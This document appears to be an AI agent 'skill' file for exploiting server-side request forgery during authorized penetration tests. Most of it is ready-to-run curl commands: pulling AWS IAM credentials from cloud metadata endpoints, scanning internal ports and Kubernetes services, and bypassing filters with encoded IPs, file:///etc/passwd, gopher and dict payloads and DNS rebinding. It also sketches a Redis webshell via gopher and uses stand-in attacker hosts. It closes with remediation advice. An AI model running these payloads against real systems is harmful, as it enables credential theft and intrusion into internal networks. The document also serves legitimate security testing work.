Skill v1.0.1
currentAutomated scan100/100+4 new
name: exploiting-server-side-request-forgery description: Identifying and exploiting SSRF vulnerabilities to access internal services, cloud metadata, and restricted network resources during authorized penetration tests. domain: cybersecurity subdomain: web-application-security tags:
- penetration-testing
- ssrf
- owasp
- cloud-security
- web-security
- burpsuite
version: '1.0' author: mahipal license: Apache-2.0 nist_csf:
- PR.PS-01
- ID.RA-01
- PR.DS-10
- DE.CM-01
mitre_attack:
- T1190
- T1059.007
- T1505.003
- T1083
- T1078.004
Exploiting Server-Side Request Forgery
When to Use
- During authorized penetration tests when the application fetches URLs provided by users (webhooks, URL previews, file imports)
- When testing cloud-hosted applications for access to instance metadata services
- For assessing PDF generators, screenshot services, or any feature that renders external content
- When evaluating microservice architectures for internal service access via SSRF
- During security assessments of APIs that accept URL parameters for data fetching
Prerequisites
- Authorization: Written penetration testing agreement including SSRF testing scope
- Burp Suite Professional: With Collaborator for out-of-band detection
- interactsh: Open-source OOB interaction server (
go install github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest) - SSRFmap: Automated SSRF exploitation framework (
git clone https://github.com/swisskyrepo/SSRFmap.git) - curl: For manual SSRF payload testing
- Knowledge of target infrastructure: Cloud provider (AWS, GCP, Azure), internal IP ranges
Workflow
Step 1: Identify SSRF-Prone Functionality
Map all application features that make server-side HTTP requests.
# Common SSRF-prone features:# - URL preview/unfurling (Slack-like link previews)# - Webhook configuration endpoints# - File import from URL (import CSV from URL)# - PDF/screenshot generation from URL# - Image/avatar fetching from URL# - RSS/feed aggregation# - OAuth callback URLs# - API proxy/gateway features# Test a URL parameter with Burp Collaborator# Replace URL values with Collaborator payloadcurl -s -X POST \-H "Content-Type: application/json" \-H "Authorization: Bearer $TOKEN" \-d '{"url":"http://abc123.burpcollaborator.net/ssrf-test"}' \"https://target.example.com/api/fetch-url"curl -s -X POST \-H "Content-Type: application/json" \-H "Authorization: Bearer $TOKEN" \-d '{"webhook_url":"http://abc123.oast.fun/webhook"}' \"https://target.example.com/api/webhooks"# Test URL in various parameter namesfor param in url uri link href src dest redirect callback webhook \image_url avatar_url feed_url import_url proxy_url; doecho "Testing param: $param"curl -s -o /dev/null -w "%{http_code}" \"https://target.example.com/api/fetch?${param}=http://abc123.oast.fun/${param}"done
Step 2: Access Cloud Instance Metadata
Test SSRF payloads targeting cloud provider metadata services.
# AWS EC2 Metadata (IMDSv1)curl -s -X POST \-H "Content-Type: application/json" \-d '{"url":"http://169.254.169.254/latest/meta-data/"}' \"https://target.example.com/api/fetch-url"# AWS - Get IAM role credentialscurl -s -X POST \-H "Content-Type: application/json" \-d '{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/"}' \"https://target.example.com/api/fetch-url"# GCP Metadatacurl -s -X POST \-H "Content-Type: application/json" \-d '{"url":"http://metadata.google.internal/computeMetadata/v1/"}' \"https://target.example.com/api/fetch-url"# Azure Metadatacurl -s -X POST \-H "Content-Type: application/json" \-d '{"url":"http://169.254.169.254/metadata/instance?api-version=2021-02-01"}' \"https://target.example.com/api/fetch-url"# DigitalOcean Metadatacurl -s -X POST \-H "Content-Type: application/json" \-d '{"url":"http://169.254.169.254/metadata/v1/"}' \"https://target.example.com/api/fetch-url"
Step 3: Scan Internal Network via SSRF
Use the SSRF vulnerability to discover internal services and ports.
# Internal network scanning - common private rangesfor ip in 127.0.0.1 10.0.0.1 172.16.0.1 192.168.1.1; dofor port in 22 80 443 3000 3306 5432 6379 8080 8443 9200 27017; doecho -n "$ip:$port -> "response=$(curl -s --max-time 3 -X POST \-H "Content-Type: application/json" \-d "{\"url\":\"http://$ip:$port/\"}" \"https://target.example.com/api/fetch-url")echo "$response" | head -c 100echodonedone# Kubernetes internal servicesfor svc in kubernetes.default.svc \kubernetes-dashboard.kubernetes-dashboard.svc \kube-dns.kube-system.svc; docurl -s --max-time 3 -X POST \-H "Content-Type: application/json" \-d "{\"url\":\"http://$svc/\"}" \"https://target.example.com/api/fetch-url"done# Access internal admin panelsfor path in /admin /console /actuator/env /server-status /_cat/indices; docurl -s -X POST \-H "Content-Type: application/json" \-d "{\"url\":\"http://127.0.0.1:8080$path\"}" \"https://target.example.com/api/fetch-url"done
Step 4: Bypass SSRF Filters and Allowlists
When basic payloads are blocked, use bypass techniques.
# IP address encoding bypasses for 127.0.0.1PAYLOADS=("http://127.0.0.1/""http://0177.0.0.1/" # Octal"http://0x7f.0.0.1/" # Hex"http://2130706433/" # Decimal"http://127.1/" # Short form"http://0/" # Zero"http://[::1]/" # IPv6 loopback"http://0.0.0.0/" # All interfaces"http://localtest.me/" # DNS resolves to 127.0.0.1"http://spoofed.burpcollaborator.net/" # DNS rebinding"http://127.0.0.1.nip.io/" # Wildcard DNS)for payload in "${PAYLOADS[@]}"; doecho -n "$payload -> "curl -s -o /dev/null -w "%{http_code}" --max-time 3 \-X POST -H "Content-Type: application/json" \-d "{\"url\":\"$payload\"}" \"https://target.example.com/api/fetch-url"echodone# URL parsing bypass# Embed credentials: http://expected.com@evil.com/# Fragment: http://evil.com#expected.com# URL encoding: http://127.0.0.%31/# Redirect chain: http://attacker.com/redirect?url=http://127.0.0.1# Protocol bypasscurl -s -X POST \-H "Content-Type: application/json" \-d '{"url":"file:///etc/passwd"}' \"https://target.example.com/api/fetch-url"curl -s -X POST \-H "Content-Type: application/json" \-d '{"url":"gopher://127.0.0.1:6379/_SET%20ssrf%20test"}' \"https://target.example.com/api/fetch-url"curl -s -X POST \-H "Content-Type: application/json" \-d '{"url":"dict://127.0.0.1:6379/info"}' \"https://target.example.com/api/fetch-url"
Step 5: Exploit SSRF for Impact Escalation
Chain SSRF with internal services for maximum impact.
# Access Redis via gopher protocol# Craft gopher payload to set a webshell via Redis# gopher://127.0.0.1:6379/_CONFIG SET dir /var/www/html# This is for authorized testing only# Access Elasticsearchcurl -s -X POST \-H "Content-Type: application/json" \-d '{"url":"http://127.0.0.1:9200/_cat/indices?v"}' \"https://target.example.com/api/fetch-url"# Read data from Elasticsearchcurl -s -X POST \-H "Content-Type: application/json" \-d '{"url":"http://127.0.0.1:9200/users/_search?size=10"}' \"https://target.example.com/api/fetch-url"# Access internal Jenkinscurl -s -X POST \-H "Content-Type: application/json" \-d '{"url":"http://127.0.0.1:8080/script"}' \"https://target.example.com/api/fetch-url"# AWS: Retrieve temporary credentials from IAM rolecurl -s -X POST \-H "Content-Type: application/json" \-d '{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-role-name"}' \"https://target.example.com/api/fetch-url"# Returns: AccessKeyId, SecretAccessKey, Token
Step 6: Test Blind SSRF and DNS Rebinding
For cases where the response is not returned to the attacker.
# Blind SSRF detection using time-based analysis# Compare response times for accessible vs inaccessible portstime curl -s -X POST \-H "Content-Type: application/json" \-d '{"url":"http://127.0.0.1:22/"}' \"https://target.example.com/api/fetch-url"time curl -s -X POST \-H "Content-Type: application/json" \-d '{"url":"http://127.0.0.1:12345/"}' \"https://target.example.com/api/fetch-url"# DNS rebinding attack# 1. Set up a DNS server that alternates between:# - First query: returns attacker IP (passes allowlist)# - Second query: returns 127.0.0.1 (targets internal service)# 2. Use a rebinding service like rbndr.uscurl -s -X POST \-H "Content-Type: application/json" \-d '{"url":"http://7f000001.c0a80001.rbndr.us/"}' \"https://target.example.com/api/fetch-url"# rbndr.us alternates DNS responses between the two encoded IPs
Key Concepts
| Concept | Description | |
|---|---|---|
| SSRF | Server-Side Request Forgery - making the server send requests to unintended destinations | |
| Blind SSRF | SSRF where the response is not returned to the attacker, requiring OOB detection | |
| Cloud Metadata | Instance metadata services (169.254.169.254) exposing credentials and configuration | |
| Gopher Protocol | Protocol allowing raw TCP data transmission, enabling attacks on internal services | |
| DNS Rebinding | DNS attack that switches IP resolution to bypass SSRF hostname allowlists | |
| TOCTOU | Time-of-check to time-of-use race condition in URL validation | |
| IMDSv2 | AWS metadata service v2 requiring session tokens, mitigating basic SSRF | |
| Open Redirect Chain | Using an open redirect to bypass URL allowlists in SSRF filters |
Tools & Systems
| Tool | Purpose | |
|---|---|---|
| Burp Suite Professional | Request modification and Collaborator for blind SSRF detection | |
| SSRFmap | Automated SSRF exploitation framework with protocol support | |
| interactsh | Out-of-band interaction detection for blind SSRF | |
| Gopherus | Generates gopher payloads for exploiting internal services | |
| rbndr.us | DNS rebinding service for SSRF filter bypass | |
| singularity | DNS rebinding attack framework for automated exploitation |
Common Scenarios
Scenario 1: Webhook URL SSRF to AWS Credentials
A webhook configuration endpoint allows specifying a callback URL. Pointing it to http://169.254.169.254/latest/meta-data/iam/security-credentials/ returns temporary AWS IAM credentials that can be used to access S3 buckets and other AWS services.
Scenario 2: PDF Generator SSRF
A feature that generates PDFs from URLs makes server-side requests. Providing http://127.0.0.1:8080/admin as the URL generates a PDF containing the internal admin panel content.
Scenario 3: Image URL SSRF with Protocol Bypass
An avatar URL field is filtered for HTTP/HTTPS but accepts file:// protocol. Using file:///etc/passwd as the avatar URL causes the server to read local files and include content in the response.
Scenario 4: Blind SSRF to Internal Redis
A URL fetch feature does not return response content but confirms success/failure. Using gopher protocol payloads, an attacker writes data to an internal Redis instance, achieving remote code execution.
Output Format
## SSRF Vulnerability Finding**Vulnerability**: Server-Side Request Forgery (Full SSRF)**Severity**: Critical (CVSS 9.1)**Location**: POST /api/webhooks - `callback_url` parameter**OWASP Category**: A10:2021 - Server-Side Request Forgery### Reproduction Steps1. Send POST /api/webhooks with callback_url set to http://169.254.169.254/latest/meta-data/2. Server makes request to AWS metadata endpoint3. Response contains AWS instance metadata including IAM role name4. Follow up with IAM credentials endpoint to retrieve temporary access keys### Confirmed Access| Target | Protocol | Response ||--------|----------|----------|| 169.254.169.254 (AWS metadata) | HTTP | IAM credentials retrieved || 127.0.0.1:6379 (Redis) | Gopher | Commands executed || 127.0.0.1:9200 (Elasticsearch) | HTTP | Index listing retrieved || 10.0.0.5:8080 (Internal API) | HTTP | Admin panel accessible |### Impact- AWS IAM temporary credentials exfiltrated (S3 read/write access)- Internal Redis server accessible (potential RCE)- Internal Elasticsearch data exposed (user records)- Full internal network scanning capability### Recommendation1. Implement strict URL allowlisting (only allow known trusted domains)2. Block requests to private IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16)3. Upgrade to AWS IMDSv2 (requires session token header)4. Disable unused URL protocols (gopher, file, dict, ftp)5. Use a dedicated outbound proxy for server-side requests with DNS resolution controls